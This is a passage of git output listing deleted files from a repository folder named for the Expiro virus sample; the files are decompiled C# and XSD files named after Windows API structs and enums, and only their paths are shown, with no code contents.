MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PROCESSOR_CACHE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PROC_THREAD_ATTRIBUTE_NUM.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PROGRESS_INVOKE_SETTING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PSC_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PS_RATE_PHASE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PaddingMode.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RESOURCEMANAGER_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPCCALLBACKS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_ASYNC_EVENT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_HTTP_REDIRECTOR_STAGE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_NOTIFICATION_TYPES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_REQUEST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_RESPONSE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SASL_AUTHZID_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SC_ACTION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SC_ENUM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SC_STATUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_ATTRIBUTES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_IMPERSONATION_LEVEL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_LOGON_SESSION_DATA.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_LOGON_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SETTINGSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SE_ADT_PARAMETER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SE_OBJECT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SID_NAME_USE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SPACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SPTEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_ASSOCIATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_BUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_IDENTIFIER_CODE_SET.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_IDENTIFIER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_ID_NAA_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_MEDIA_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_PORT_CODE_SET.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_PROPERTY_ID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_QUERY_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STREAM_INFO_LEVELS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SYSTEM_POWER_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SecDelegationType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TAPE_DRIVE_PROBLEM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_COMMON_BUTTON_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_ELEMENTS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_ICON_ELEMENTS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_MESSAGES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TASKDIALOG_NOTIFICATIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_THDTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_ELEVATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_MANDATORY_LABEL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_OWNER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_STATISTICS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TOKEN_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TP_CALLBACK_ENVIRON.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTIONMANAGER_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTION_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTION_OUTCOME.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRANSACTION_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRUSTED_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRUSTEE_FORM.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_TRUSTEE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_URLZONEREG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_USER_MARSHAL_CB_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_CACHE_CHANGE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_CACHE_ENABLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_CACHE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_WRITE_THROUGH.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0003.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0004.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0005.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IBindStatusCallback_0006.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_ICodeInstall_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetSecurityManager_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetSecurityManager_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetSecurityManager_0003.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetZoneManager_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IInternetZoneManager_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IMonikerProp_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IOleDocument_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL_IPrint_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL___MIDL_itf_objidl_0000_0046_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL___MIDL_itf_objidl_0000_0046_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__MIDL___MIDL_itf_structuredquery_0000_0013_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/__enative_startup_state.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_iobuf.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ldiv_t.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagACENUMOPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagAUTOCOMPLETELISTOPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagAUTOCOMPLETEOPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagINTERNETFEATURELIST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagOIBDG_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagPARSEACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagPI_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagPSUACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_tagQUERYOPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/addressing.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/addressing04.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/gcroot_003CSystem_003A_003AString ^_003E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/identity.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/localeinfo_struct.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/oasis-200401-wss-wssecurity-secext-1/0.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/oasis-200401-wss-wssecurity-utility-1/0.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagACTCTXW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagACTIVATEFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagADVF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagApplicationType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagAspectInfoFlag.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBANDSITECID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBINDSPEED.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBINDSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBINDSTRING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBIND_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagBROWSERFRAMEOPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCALLCONV.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCALLTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCATEGORYINFO_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCATSORT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCDBURNINGEXTENSIONACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCDBURNINGEXTENSIONRET.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCHANGEKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCLSCTX.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCOINIT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCOMSD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCONDITION_OPERATION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCONDITION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCOWAIT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCPVIEW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCTRLINFO.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDATADIR.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDCOM_CALL_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDESCKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDESKBANDCID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDISCARDCACHE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDOMNodeType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDVASPECT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDVASPECT2.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEOLE_AUTHENTICATION_CAPABILITIES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEXPCMDFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEXPCMDSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEXTCONN.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagExtendedErrorParamTypes.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagExtentMode.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFOLDERFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFOLDERVIEWMODE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFUNCFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFUNCKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagGETPROPERTYSTOREFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagGPFIDL_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagGUIDKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagHITRESULT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagINTERVAL_LIMIT_KIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagINVOKEKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagLIBFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagLOCKTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPLINKTEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPMESSAGE.cs delete mode 100644 